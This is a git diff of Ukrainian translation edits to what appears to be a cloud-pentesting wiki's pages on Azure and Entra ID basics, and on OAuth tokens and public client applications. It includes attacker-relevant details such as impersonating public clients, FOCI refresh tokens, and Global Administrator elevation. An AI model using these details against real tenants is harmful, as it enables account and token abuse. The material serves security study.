@@ -42,7 +42,7 @@ - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -Для віртуальної машини з ім'ям myVM у групі ресурсів `myResourceGroup` під підпискою ID `12345678-1234-1234-1234-123456789012`, ідентифікатор ресурсу Azure виглядає так: +Для віртуальної машини з назвою myVM в групі ресурсів `myResourceGroup` під підпискою ID `12345678-1234-1234-1234-123456789012`, ідентифікатор ресурсу Azure виглядає так: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -50,7 +50,7 @@ ### Azure -Azure є комплексною **хмарною обчислювальною платформою Microsoft, що пропонує широкий спектр послуг**, включаючи віртуальні машини, бази даних, штучний інтелект та зберігання. Вона слугує основою для хостингу та управління додатками, створення масштабованих інфраструктур і виконання сучасних навантажень у хмарі. Azure надає інструменти для розробників та ІТ-фахівців для створення, розгортання та управління додатками та послугами безперешкодно, задовольняючи різноманітні потреби від стартапів до великих підприємств. +Azure є комплексною **хмарною обчислювальною платформою Microsoft, що пропонує широкий спектр послуг**, включаючи віртуальні машини, бази даних, штучний інтелект та зберігання. Вона слугує основою для хостингу та управління додатками, створення масштабованих інфраструктур і виконання сучасних навантажень у хмарі. Azure надає інструменти для розробників та ІТ-фахівців для безперешкодного створення, розгортання та управління додатками та послугами, задовольняючи різноманітні потреби від стартапів до великих підприємств. ### Entra ID (раніше Azure Active Directory) @@ -84,7 +84,7 @@ Entra ID є хмарною **послугою управління іденти - Створювати групи безпеки - Читати неприховані членства груп - Додавати гостей до власних груп -- Створювати нові додатки (_може бути вимкнено_) +- Створювати новий додаток (_може бути вимкнено_) - Додавати до 50 пристроїв до Azure (_може бути вимкнено_) > [!NOTE] @@ -93,26 +93,26 @@ Entra ID є хмарною **послугою управління іденти ### Дефолтні налаштовувані дозволи для користувачів - **Члени (**[**документи**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** -- Реєстрація додатків: За замовчуванням **Так** -- Обмежити неадміністративним користувачам створення орендарів: За замовчуванням **Ні** -- Створення груп безпеки: За замовчуванням **Так** -- Обмежити доступ до порталу адміністрування Microsoft Entra: За замовчуванням **Ні** +- Реєстрація додатків: за замовчуванням **Так** +- Обмежити неадміністративним користувачам створення орендарів: за замовчуванням **Ні** +- Створення груп безпеки: за замовчуванням **Так** +- Обмежити доступ до порталу адміністрування Microsoft Entra: за замовчуванням **Ні** - Це не обмежує доступ API до порталу (тільки веб) -- Дозволити користувачам підключати робочий або шкільний обліковий запис до LinkedIn: За замовчуванням **Так** -- Показати, щоб користувач залишався підписаним: За замовчуванням **Так** -- Обмежити користувачів від відновлення ключа BitLocker для їхніх власних пристроїв: За замовчуванням Ні (перевірте в налаштуваннях пристрою) -- Читати інших користувачів: За замовчуванням **Так** (через Microsoft Graph) +- Дозволити користувачам підключати робочий або шкільний обліковий запис до LinkedIn: за замовчуванням **Так** +- Показати, щоб користувач залишався підписаним: за замовчуванням **Так** +- Обмежити користувачів від відновлення ключа BitLocker для їхніх власних пристроїв: за замовчуванням Ні (перевірте в налаштуваннях пристрою) +- Читати інших користувачів: за замовчуванням **Так** (через Microsoft Graph) - **Гості** - **Обмеження доступу для користувачів-гостей** - **Користувачі-гості мають такий же доступ, як і члени**, надає всі дозволи користувачів-членів користувачам-гостям за замовчуванням. - **Користувачі-гості мають обмежений доступ до властивостей та членств об'єктів каталогу (за замовчуванням)** обмежує доступ гостей лише до їхнього власного профілю користувача за замовчуванням. Доступ до інформації про інших користувачів та групи більше не дозволяється. -- **Доступ користувачів-гостей обмежений до властивостей та членств їхніх власних об'єктів каталогу** є найобмежувальнішим. +- **Доступ користувачів-гостей обмежений до властивостей та членств їхніх власних об'єктів каталогу** є найбільш обмежувальним. - **Гості можуть запрошувати** -- **Будь-хто в організації може запрошувати користувачів-гостей, включаючи гостей та неадміністраторів (найбільш інклюзивно) - За замовчуванням** +- **Будь-хто в організації може запрошувати користувачів-гостей, включаючи гостей та неадміністраторів (найбільш інклюзивно) - за замовчуванням** - **Користувачі-члени та користувачі, призначені на конкретні адміністративні ролі, можуть запрошувати користувачів-гостей, включаючи гостей з правами членів** - **Тільки користувачі, призначені на конкретні адміністративні ролі, можуть запрошувати користувачів-гостей** - **Ніхто в організації не може запрошувати користувачів-гостей, включаючи адміністраторів (найбільш обмежувально)** -- **Зовнішні користувачі можуть залишити**: За замовчуванням **Правда** +- **Зовнішні користувачі можуть залишити**: за замовчуванням **Правда** - Дозволити зовнішнім користувачам залишити організацію > [!TIP] @@ -122,20 +122,20 @@ Entra ID є хмарною **послугою управління іденти Є **2 типи груп**: -- **Безпека**: Цей тип групи використовується для надання членам доступу до додатків, ресурсів та призначення ліцензій. Користувачі, пристрої, службові принципали та інші групи можуть бути членами. +- **Безпека**: Цей тип групи використовується для надання членам доступу до додатків, ресурсів та призначення ліцензій. Членами можуть бути користувачі, пристрої, службові принципали та інші групи. - **Microsoft 365**: Цей тип групи використовується для співпраці, надаючи членам доступ до спільної поштової скриньки, календаря, файлів, сайту SharePoint тощо. Членами групи можуть бути лише користувачі. - Це матиме **електронну адресу** з доменом орендаря EntraID. -Є **2 типи членств**: +Є **2 типи членства**: - **Призначене**: Дозволяє вручну додавати конкретних членів до групи. - **Динамічне членство**: Автоматично керує членством за допомогою правил, оновлюючи включення групи, коли змінюються атрибути членів. ### **Службові принципали** -**Службовий принципал** - це **ідентифікація**, створена для **використання** з **додатками**, хостинговими службами та автоматизованими інструментами для доступу до ресурсів Azure. Цей доступ **обмежений ролями, призначеними** службовому принципалу, що дає вам контроль над **тим, які ресурси можуть бути доступні** і на якому рівні. З міркувань безпеки завжди рекомендується **використовувати службові принципали з автоматизованими інструментами**, а не дозволяти їм входити з ідентифікацією користувача. +**Службовий принципал** - це **ідентифікація**, створена для **використання** з **додатками**, хостингованими службами та автоматизованими інструментами для доступу до ресурсів Azure. Цей доступ **обмежений ролями, призначеними** службовому принципалу, що дає вам контроль над **тим, які ресурси можуть бути доступні** і на якому рівні. З міркувань безпеки завжди рекомендується **використовувати службові принципали з автоматизованими інструментами**, а не дозволяти їм входити з ідентифікацією користувача. -Можливо **безпосередньо увійти як службовий принципал**, згенерувавши йому **секрет** (пароль), **сертифікат** або надавши **федеративний** доступ до сторонніх платформ (наприклад, Github Actions) через нього. +Можливо **безпосередньо увійти як службовий принципал**, створивши для нього **секрет** (пароль), **сертифікат** або надавши **федеративний** доступ до сторонніх платформ (наприклад, Github Actions). - Якщо ви виберете **автентифікацію за паролем** (за замовчуванням), **збережіть згенерований пароль**, оскільки ви не зможете отримати до нього доступ знову. - Якщо ви виберете автентифікацію за сертифікатом, переконайтеся, що **додаток матиме доступ до приватного ключа**. @@ -148,10 +148,10 @@ Entra ID є хмарною **послугою управління іденти 1. **Ідентифікатор додатка (Client ID):** Унікальний ідентифікатор для вашого додатка в Azure AD. 2. **URI перенаправлення:** URL-адреси, куди Azure AD надсилає відповіді на аутентифікацію. -3. **Сертифікати, секрети та федеративні облікові дані:** Можливо згенерувати секрет або сертифікат для входу як службовий принципал додатка або надати федеративний доступ до нього (наприклад, Github Actions). +3. **Сертифікати, секрети та федеративні облікові дані:** Можливо згенерувати секрет або сертифікат для входу як службовий принципал додатка або надати федеративний доступ до нього (наприклад, Github Actions). 1. Якщо **сертифікат** або **секрет** згенеровано, особа може **увійти як службовий принципал** за допомогою CLI-інструментів, знаючи **ідентифікатор додатка**, **секрет** або **сертифікат** та **орендар** (домен або ID). 4. **API Дозволи:** Визначає, до яких ресурсів або API додаток може отримати доступ. -5. **Налаштування автентифікації:** Визначає підтримувані потоки автентифікації додатка (наприклад, OAuth2, OpenID Connect). +5. **Налаштування аутентифікації:** Визначає підтримувані потоки аутентифікації додатка (наприклад, OAuth2, OpenID Connect). 6. **Службовий принципал**: Службовий принципал створюється, коли створюється додаток (якщо це робиться з веб-консолі) або коли він встановлюється в новому орендарі. 1. **Службовий принципал** отримає всі запитувані дозволи, з якими він був налаштований. @@ -160,32 +160,32 @@ Entra ID є хмарною **послугою управління іденти **Згода користувачів на додатки** - **Не дозволяти згоду користувачів** -- Для всіх додатків буде потрібен адміністратор. +- Адміністратор буде потрібен для всіх додатків. - **Дозволити згоду користувачів на додатки від перевірених видавців, для вибраних дозволів (рекомендується)** - Усі користувачі можуть дати згоду на дозволи, класифіковані як "низький вплив", для додатків від перевірених видавців або додатків, зареєстрованих в цій організації. -- **За замовчуванням** низько впливові дозволи (хоча вам потрібно прийняти, щоб додати їх як низькі): +- **Дефолтні** дозволи низького впливу (хоча вам потрібно прийняти, щоб додати їх як низькі): - User.Read - увійти та прочитати профіль користувача - offline_access - підтримувати доступ до даних, до яких користувачі надали доступ -- openid - входити користувачів +- openid - увійти користувачів - profile - переглядати основний профіль користувача - email - переглядати електронну адресу користувача - **Дозволити згоду користувачів на додатки (за замовчуванням)** - Усі користувачі можуть дати згоду на будь-який додаток для доступу до даних організації. -**Запити на згоду адміністратора**: За замовчуванням **Ні** +**Запити на згоду адміністратора**: за замовчуванням **Ні** - Користувачі можуть запитувати згоду адміністратора на додатки, на які вони не можуть дати згоду - Якщо **Так**: Можливо вказати Користувачів, Групи та Ролі, які можуть давати згоду на запити -- Налаштуйте також, чи отримуватимуть користувачі електронні сповіщення та нагадування про закінчення терміну +- Налаштуйте також, чи отримуватимуть користувачі електронні сповіщення та нагадування про закінчення терміну дії ### **Керована ідентичність (Метадані)** -Керовані ідентичності в Azure Active Directory пропонують рішення для **автоматичного управління ідентичністю** додатків. Ці ідентичності використовуються додатками для **підключення** до **ресурсів**, сумісних з автентифікацією Azure Active Directory (**Azure AD**). Це дозволяє **усунути необхідність жорсткого кодування облікових даних хмари** в коді, оскільки додаток зможе звертатися до **служби метаданих**, щоб отримати дійсний токен для **виконання дій** як вказана керована ідентичність в Azure. +Керовані ідентичності в Azure Active Directory пропонують рішення для **автоматичного управління ідентичністю** додатків. Ці ідентичності використовуються додатками для **підключення** до **ресурсів**, сумісних з аутентифікацією Azure Active Directory (**Azure AD**). Це дозволяє **усунути необхідність жорсткого кодування облікових даних хмари** в коді, оскільки додаток зможе звертатися до **служби метаданих**, щоб отримати дійсний токен для **виконання дій** як вказана керована ідентичність в Azure. Існує два типи керованих ідентичностей: - **Призначена системою**. Деякі служби Azure дозволяють вам **увімкнути керовану ідентичність безпосередньо на екземплярі служби**. Коли ви увімкнете керовану ідентичність, призначену системою, **службовий принципал** створюється в орендарі Entra ID, довіреному підписці, де розташований ресурс. Коли **ресурс** **видаляється**, Azure автоматично **видаляє** **ідентичність** за вас. -- **Призначена користувачем**. Також можливо, щоб користувачі генерували керовані ідентичності. Вони створюються всередині групи ресурсів в межах підписки, і службовий принципал буде створений в EntraID, довіреному підписці. Потім ви можете призначити керовану ідентичність одному або **кільком екземплярам** служби Azure (кільком ресурсам). Для керованих ідентичностей, призначених користувачем, **ідентичність управляється окремо від ресурсів, які її використовують**. +- **Призначена користувачем**. Також можливо, щоб користувачі генерували керовані ідентичності. Вони створюються всередині групи ресурсів в межах підписки, і службовий принципал буде створено в EntraID, довіреному підписці. Потім ви можете призначити керовану ідентичність одному або **кільком екземплярам** служби Azure (кільком ресурсам). Для керованих ідентичностей, призначених користувачем, **ідентичність управляється окремо від ресурсів, які її використовують**. Керовані ідентичності **не генерують вічні облікові дані** (як паролі або сертифікати) для доступу як службовий принципал, прикріплений до них. @@ -193,7 +193,7 @@ Entra ID є хмарною **послугою управління іденти Це просто **таблиця в Azure для фільтрації службових принципалів** та перевірки додатків, які були призначені. -**Це не інший тип "додатка",** в Azure немає жодного об'єкта, який є "підприємницьким додатком", це просто абстракція для перевірки службових принципалів, реєстрацій додатків та керованих ідентичностей. +**Це не ще один тип "додатку",** в Azure немає жодного об'єкта, який є "підприємницьким додатком", це просто абстракція для перевірки службових принципалів, реєстрацій додатків та керованих ідентичностей. ### Адміністративні одиниці @@ -201,22 +201,22 @@ Entra ID є хмарною **послугою управління іденти Приклад: -- Сценарій: Компанія хоче, щоб регіональні ІТ-адміністратори управляли лише користувачами у своєму регіоні. +- Сценарій: Компанія хоче, щоб регіональні ІТ-адміністратори управляли лише користувачами у своїй власній області. - Реалізація: - Створіть адміністративні одиниці для кожного регіону (наприклад, "Північна Америка AU", "Європа AU"). - Заповніть AU користувачами з їхніх відповідних регіонів. - AU можуть **містити користувачів, групи або пристрої** - AU підтримують **динамічні членства** - AU **не можуть містити AU** -- Призначити адміністративні ролі: +- Призначте адміністративні ролі: - Надати роль "Адміністратор користувачів" регіональному ІТ-персоналу, обмежену до AU їхнього регіону. -- Результат: Регіональні ІТ-адміністратори можуть управляти обліковими записами користувачів у своєму регіоні, не впливаючи на інші регіони. +- Результат: Регіональні ІТ-адміністратори можуть управляти обліковими записами користувачів у межах свого регіону, не впливаючи на інші регіони. ### Ролі Entra ID - Для управління Entra ID існують деякі **вбудовані ролі**, які можуть бути призначені принципалам Entra ID для управління Entra ID - Перевірте ролі в [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- Найпривілейованішою роллю є **Глобальний адміністратор** +- Найбільш привілейована роль - **Глобальний адміністратор** - У описі ролі можна побачити її **деталізовані дозволи** ## Ролі та дозволи @@ -232,20 +232,20 @@ Entra ID є хмарною **послугою управління іденти | **Власник** |
  • Повний доступ до всіх ресурсів
  • Може управляти доступом для інших користувачів
| Усі типи ресурсів | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | | **Співробітник** |
  • Повний доступ до всіх ресурсів
  • Не може управляти доступом
| Усі типи ресурсів | -| **Читач** | • Перегляд усіх ресурсів | Усі типи ресурсів | -| **Адміністратор доступу користувачів** |
  • Перегляд усіх ресурсів
  • Може управляти доступом для інших користувачів
| Усі типи ресурсів | +| **Читач** | • Перегляд всіх ресурсів | Усі типи ресурсів | +| **Адміністратор доступу користувачів** |
  • Перегляд всіх ресурсів
  • Може управляти доступом для інших користувачів
| Усі типи ресурсів | ### Вбудовані ролі -[З документів: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Контроль доступу на основі ролей Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) має кілька **вбудованих ролей Azure**, які ви можете **призначити** **користувачам, групам, службовим принципалам та керованим ідентичностям**. Призначення ролей - це спосіб контролювати **доступ до ресурсів Azure**. Якщо вбудовані ролі не відповідають конкретним потребам вашої організації, ви можете створити свої власні [**кастомні ролі Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[З документації: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure рольова модель доступу (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) має кілька **вбудованих ролей Azure**, які ви можете **призначити** користувачам, групам, службовим принципалам та керованим ідентичностям. Призначення ролей - це спосіб контролю **доступу до ресурсів Azure**. Якщо вбудовані ролі не відповідають конкретним потребам вашої організації, ви можете створити свої власні [**кастомні ролі Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Вбудовані** ролі застосовуються лише до **ресурсів**, для яких вони **призначені**, наприклад, перевірте ці 2 приклади **вбудованих ролей** для ресурсів **Обчислення**: +**Вбудовані** ролі застосовуються лише до **ресурсів**, для яких вони **призначені**, наприклад, перевірте ці 2 приклади **вбудованих ролей для ресурсів обчислення**: | [Читач резервного копіювання диска](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Надає дозвіл резервному сховищу виконувати резервне копіювання диска. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Вхід користувача віртуальної машини](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Перегляд віртуальних машин у порталі та вхід як звичайний користувач. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Користувач віртуальної машини](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Перегляд віртуальних машин у порталі та вхід як звичайний користувач. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -Ці ролі також можуть **призначатися над логічними контейнерами** (такими як групи управління, підписки та групи ресурсів), і принципали, які підпадають під їхній вплив, матимуть їх **над ресурсами всередині цих контейнерів**. +Ці ролі також можуть **призначатися над логічними контейнерами** (такими як групи управління, підписки та групи ресурсів), і принципали, на яких це вплине, матимуть їх **над ресурсами всередині цих контейнерів**. - Знайдіть тут список з [**усіма вбудованими ролями Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). - Знайдіть тут список з [**усіма вбудованими ролями Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). @@ -292,47 +292,47 @@ Entra ID є хмарною **послугою управління іденти } } ``` -### Permissions order +### Порядок дозволів - Щоб **суб'єкт мав доступ до ресурсу**, йому потрібно явно надати роль (будь-яким чином), **яка надає йому це дозволення**. - Явне **призначення ролі заборони має пріоритет** над роллю, що надає дозволення.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

-### Global Administrator +### Глобальний адміністратор -Global Administrator — це роль з Entra ID, яка надає **повний контроль над орендою Entra ID**. Однак за замовчуванням вона не надає жодних дозволів на ресурси Azure. +Глобальний адміністратор — це роль з Entra ID, яка надає **повний контроль над орендою Entra ID**. Однак за замовчуванням вона не надає жодних дозволів на ресурси Azure. -Користувачі з роллю Global Administrator мають можливість '**підвищити' до ролі User Access Administrator Azure в кореневій групі управління**. Таким чином, Global Administrators можуть керувати доступом у **всіх підписках Azure та групах управління.**\ +Користувачі з роллю глобального адміністратора мають можливість '**підвищити' до ролі адміністратора доступу користувачів Azure в кореневій групі управління**. Таким чином, глобальні адміністратори можуть керувати доступом у **всіх підписках Azure та групах управління.**\ Це підвищення можна здійснити в кінці сторінки: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
-### Azure Policies +### Політики Azure -**Azure Policies** — це правила, які допомагають організаціям забезпечити відповідність їх ресурсів певним стандартам і вимогам. Вони дозволяють **застосовувати або перевіряти налаштування на ресурсах в Azure**. Наприклад, ви можете заборонити створення віртуальних машин в несанкціонованому регіоні або забезпечити, щоб усі ресурси мали певні теги для відстеження. +**Політики Azure** — це правила, які допомагають організаціям забезпечити відповідність їх ресурсів певним стандартам і вимогам. Вони дозволяють **забезпечувати або перевіряти налаштування ресурсів в Azure**. Наприклад, ви можете заборонити створення віртуальних машин в несанкціонованому регіоні або забезпечити, щоб усі ресурси мали певні теги для відстеження. -Azure Policies є **проактивними**: вони можуть зупинити створення або зміну несумісних ресурсів. Вони також є **реактивними**, дозволяючи вам знаходити та виправляти існуючі несумісні ресурси. +Політики Azure є **проактивними**: вони можуть зупинити створення або зміну ресурсів, які не відповідають вимогам. Вони також є **реактивними**, дозволяючи вам знаходити та виправляти існуючі ресурси, що не відповідають вимогам. -#### **Key Concepts** +#### **Ключові концепції** -1. **Policy Definition**: Правило, написане в JSON, яке визначає, що дозволено або вимагається. -2. **Policy Assignment**: Застосування політики до конкретної області (наприклад, підписка, група ресурсів). -3. **Initiatives**: Збірка політик, згрупованих разом для ширшого застосування. -4. **Effect**: Визначає, що відбувається, коли політика спрацьовує (наприклад, "Заборонити", "Аудит" або "Додати"). +1. **Визначення політики**: Правило, написане в JSON, яке вказує, що дозволено або вимагається. +2. **Призначення політики**: Застосування політики до конкретної області (наприклад, підписка, група ресурсів). +3. **Ініціативи**: Збірка політик, об'єднаних для ширшого застосування. +4. **Ефект**: Вказує, що відбувається, коли політика спрацьовує (наприклад, "Заборонити", "Аудит" або "Додати"). **Деякі приклади:** 1. **Забезпечення відповідності певним регіонам Azure**: Ця політика забезпечує, щоб усі ресурси розгорталися в певних регіонах Azure. Наприклад, компанія може захотіти, щоб усі її дані зберігалися в Європі для відповідності GDPR. 2. **Забезпечення стандартів іменування**: Політики можуть забезпечувати дотримання стандартів іменування для ресурсів Azure. Це допомагає в організації та легкому ідентифікуванні ресурсів за їхніми іменами, що корисно в великих середовищах. 3. **Обмеження певних типів ресурсів**: Ця політика може обмежити створення певних типів ресурсів. Наприклад, політика може бути встановлена для заборони створення дорогих типів ресурсів, таких як певні розміри ВМ, для контролю витрат. -4. **Забезпечення політик тегування**: Теги — це пари ключ-значення, пов'язані з ресурсами Azure, які використовуються для управління ресурсами. Політики можуть забезпечувати, щоб певні теги були присутні, або мали конкретні значення, для всіх ресурсів. Це корисно для відстеження витрат, власності або категоризації ресурсів. +4. **Забезпечення політик тегування**: Теги — це пари ключ-значення, пов'язані з ресурсами Azure, які використовуються для управління ресурсами. Політики можуть забезпечувати, щоб певні теги були присутні, або мали певні значення, для всіх ресурсів. Це корисно для відстеження витрат, власності або категоризації ресурсів. 5. **Обмеження публічного доступу до ресурсів**: Політики можуть забезпечувати, щоб певні ресурси, такі як облікові записи зберігання або бази даних, не мали публічних кінцевих точок, забезпечуючи, щоб вони були доступні лише в межах мережі організації. -6. **Автоматичне застосування налаштувань безпеки**: Політики можуть використовуватися для автоматичного застосування налаштувань безпеки до ресурсів, таких як застосування конкретної групи безпеки мережі до всіх ВМ або забезпечення, щоб усі облікові записи зберігання використовували шифрування. +6. **Автоматичне застосування налаштувань безпеки**: Політики можуть використовуватися для автоматичного застосування налаштувань безпеки до ресурсів, таких як застосування певної групи безпеки мережі до всіх ВМ або забезпечення, щоб усі облікові записи зберігання використовували шифрування. -Зверніть увагу, що Azure Policies можуть бути прикріплені до будь-якого рівня ієрархії Azure, але вони **зазвичай використовуються в кореневій групі управління** або в інших групах управління. +Зверніть увагу, що політики Azure можуть бути прикріплені до будь-якого рівня ієрархії Azure, але вони **зазвичай використовуються в кореневій групі управління** або в інших групах управління. -Azure policy json example: +Приклад політики Azure json: ```json { "policyRule": { @@ -354,7 +354,7 @@ Azure policy json example: В Azure **дозволи можуть бути призначені будь-якій частині ієрархії**. Це включає управлінські групи, підписки, групи ресурсів та окремі ресурси. Дозволи **спадкуються** від вміщених **ресурсів** сутності, до якої вони були призначені. -Ця ієрархічна структура дозволяє ефективно та масштабовано управляти доступом до дозволів. +Ця ієрархічна структура дозволяє ефективно та масштабовано управляти дозволами доступу.
@@ -363,7 +363,7 @@ Azure policy json example: **RBAC** (контроль доступу на основі ролей) - це те, що ми вже бачили в попередніх розділах: **Призначення ролі суб'єкту для надання йому доступу** до ресурсу.\ Однак у деяких випадках ви можете захотіти надати **більш детальне управління доступом** або **спростити** управління **сотнями** призначень ролей. -Azure **ABAC** (контроль доступу на основі атрибутів) базується на Azure RBAC, додаючи **умови призначення ролей на основі атрибутів** у контексті конкретних дій. _Умова призначення ролі_ - це **додаткова перевірка, яку ви можете за бажанням додати до вашого призначення ролі** для надання більш детального контролю доступу. Умова фільтрує дозволи, надані в рамках визначення ролі та призначення ролі. Наприклад, ви можете **додати умову, яка вимагає, щоб об'єкт мав певний тег для читання об'єкта**.\ +Azure **ABAC** (контроль доступу на основі атрибутів) базується на Azure RBAC, додаючи **умови призначення ролі на основі атрибутів** у контексті конкретних дій. _Умова призначення ролі_ - це **додаткова перевірка, яку ви можете за бажанням додати до свого призначення ролі** для надання більш детального контролю доступу. Умова фільтрує дозволи, надані в рамках визначення ролі та призначення ролі. Наприклад, ви можете **додати умову, яка вимагає, щоб об'єкт мав певний тег для читання об'єкта**.\ Ви **не можете** явно **заборонити** **доступ** до конкретних ресурсів **за допомогою умов**. ## Посилання diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 8e00bd035..da06ac00b 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,60 +1,60 @@ -# Az - Tokens & Public Applications +# Az - Токени та Публічні Застосунки {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Основна Інформація Entra ID - це хмарна платформа управління ідентифікацією та доступом (IAM) від Microsoft, яка слугує основною системою аутентифікації та авторизації для таких сервісів, як Microsoft 365 та Azure Resource Manager. Azure AD реалізує фреймворк авторизації OAuth 2.0 та протокол аутентифікації OpenID Connect (OIDC) для управління доступом до ресурсів. ### OAuth -**Ключові учасники в OAuth 2.0:** +**Ключові Учасники в OAuth 2.0:** -1. **Сервер ресурсів (RS):** Захищає ресурси, що належать власнику ресурсу. -2. **Власник ресурсу (RO):** Зазвичай кінцевий користувач, який володіє захищеними ресурсами. -3. **Клієнтський додаток (CA):** Додаток, що намагається отримати доступ до ресурсів від імені власника ресурсу. -4. **Сервер авторизації (AS):** Видає токени доступу клієнтським додаткам після їх аутентифікації та авторизації. +1. **Сервер Ресурсів (RS):** Захищає ресурси, що належать власнику ресурсу. +2. **Власник Ресурсу (RO):** Зазвичай кінцевий користувач, який володіє захищеними ресурсами. +3. **Клієнтський Застосунок (CA):** Застосунок, що намагається отримати доступ до ресурсів від імені власника ресурсу. +4. **Сервер Авторизації (AS):** Видає токени доступу клієнтським застосункам після їх аутентифікації та авторизації. -**Обсяги та згода:** +**Обсяги та Згода:** - **Обсяги:** Дрібні дозволи, визначені на сервері ресурсів, які вказують рівні доступу. -- **Згода:** Процес, за допомогою якого власник ресурсу надає клієнтському додатку дозвіл на доступ до ресурсів з конкретними обсягами. +- **Згода:** Процес, за допомогою якого власник ресурсу надає клієнтському застосунку дозвіл на доступ до ресурсів з конкретними обсягами. **Інтеграція з Microsoft 365:** -- Microsoft 365 використовує Azure AD для IAM і складається з кількох "первинних" OAuth додатків. -- Ці додатки глибоко інтегровані та часто мають взаємозалежні відносини сервісів. -- Щоб спростити користувацький досвід і підтримувати функціональність, Microsoft надає "неявну згоду" або "попередню згоду" цим первинним додаткам. -- **Неявна згода:** Деяким додаткам автоматично **надається доступ до конкретних обсягів без явного схвалення користувача або адміністратора**. +- Microsoft 365 використовує Azure AD для IAM і складається з кількох "первинних" OAuth застосунків. +- Ці застосунки глибоко інтегровані та часто мають взаємозалежні відносини сервісів. +- Щоб спростити користувацький досвід і підтримувати функціональність, Microsoft надає "неявну згоду" або "попередню згоду" цим первинним застосункам. +- **Неявна Згода:** Деяким застосункам автоматично **надається доступ до конкретних обсягів без явного схвалення користувача або адміністратора**. - Ці попередньо погоджені обсяги зазвичай приховані як від користувачів, так і від адміністраторів, що робить їх менш видимими в стандартних інтерфейсах управління. -**Типи клієнтських додатків:** +**Типи Клієнтських Застосунків:** -1. **Конфіденційні клієнти:** +1. **Конфіденційні Клієнти:** - Мають свої власні облікові дані (наприклад, паролі або сертифікати). - Можуть **надійно аутентифікувати себе** на сервері авторизації. -2. **Публічні клієнти:** +2. **Публічні Клієнти:** - Не мають унікальних облікових даних. - Не можуть надійно аутентифікуватися на сервері авторизації. -- **Безпекове наслідок:** Зловмисник може видавати себе за публічний клієнтський додаток при запиті токенів, оскільки немає механізму для сервера авторизації, щоб перевірити легітимність додатка. +- **Безпекове Значення:** Зловмисник може видавати себе за публічний клієнтський застосунок при запиті токенів, оскільки немає механізму для перевірки легітимності застосунку на сервері авторизації. -## Authentication Tokens +## Токени Аутентифікації Існує **три типи токенів**, що використовуються в OIDC: -- [**Токени доступу**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Клієнт представляє цей токен серверу ресурсів для **доступу до ресурсів**. Він може використовуватися лише для конкретної комбінації користувача, клієнта та ресурсу і **не може бути відкликаний** до закінчення терміну дії - тобто 1 година за замовчуванням. -- **ID токени**: Клієнт отримує цей **токен від сервера авторизації**. Він містить основну інформацію про користувача. Він **прив'язаний до конкретної комбінації користувача та клієнта**. -- **Токени оновлення**: Надаються клієнту разом з токеном доступу. Використовуються для **отримання нових токенів доступу та ID токенів**. Він прив'язаний до конкретної комбінації користувача та клієнта і може бути відкликаний. За замовчуванням термін дії становить **90 днів** для неактивних токенів оновлення та **немає терміну дії для активних токенів** (з токена оновлення можливо отримати нові токени оновлення). -- Токен оновлення повинен бути прив'язаний до **`aud`**, до деяких **обсягів** та до **орендаря**, і він повинен мати можливість генерувати токени доступу лише для цього aud, обсягів (і не більше) та орендаря. Однак це не так для **токенів додатків FOCI**. +- [**Токени Доступу**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Клієнт представляє цей токен серверу ресурсів для **доступу до ресурсів**. Він може використовуватися лише для конкретної комбінації користувача, клієнта та ресурсу і **не може бути відкликаний** до закінчення терміну дії - тобто 1 година за замовчуванням. +- **ID Токени**: Клієнт отримує цей **токен від сервера авторизації**. Він містить основну інформацію про користувача. Він **прив'язаний до конкретної комбінації користувача та клієнта**. +- **Токени Оновлення**: Надаються клієнту разом з токеном доступу. Використовуються для **отримання нових токенів доступу та ID токенів**. Він прив'язаний до конкретної комбінації користувача та клієнта і може бути відкликаний. За замовчуванням термін дії становить **90 днів** для неактивних токенів оновлення та **немає терміну дії для активних токенів** (з токена оновлення можливо отримати нові токени оновлення). +- Токен оновлення повинен бути прив'язаний до **`aud`**, до деяких **обсягів** та до **орендаря**, і він повинен мати можливість генерувати токени доступу лише для цього aud, обсягів (і не більше) та орендаря. Однак це не так для **токенів застосунків FOCI**. - Токен оновлення зашифрований, і лише Microsoft може його розшифрувати. - Отримання нового токена оновлення не відкликає попередній токен оновлення. > [!WARNING] > Інформація для **умовного доступу** **зберігається** всередині 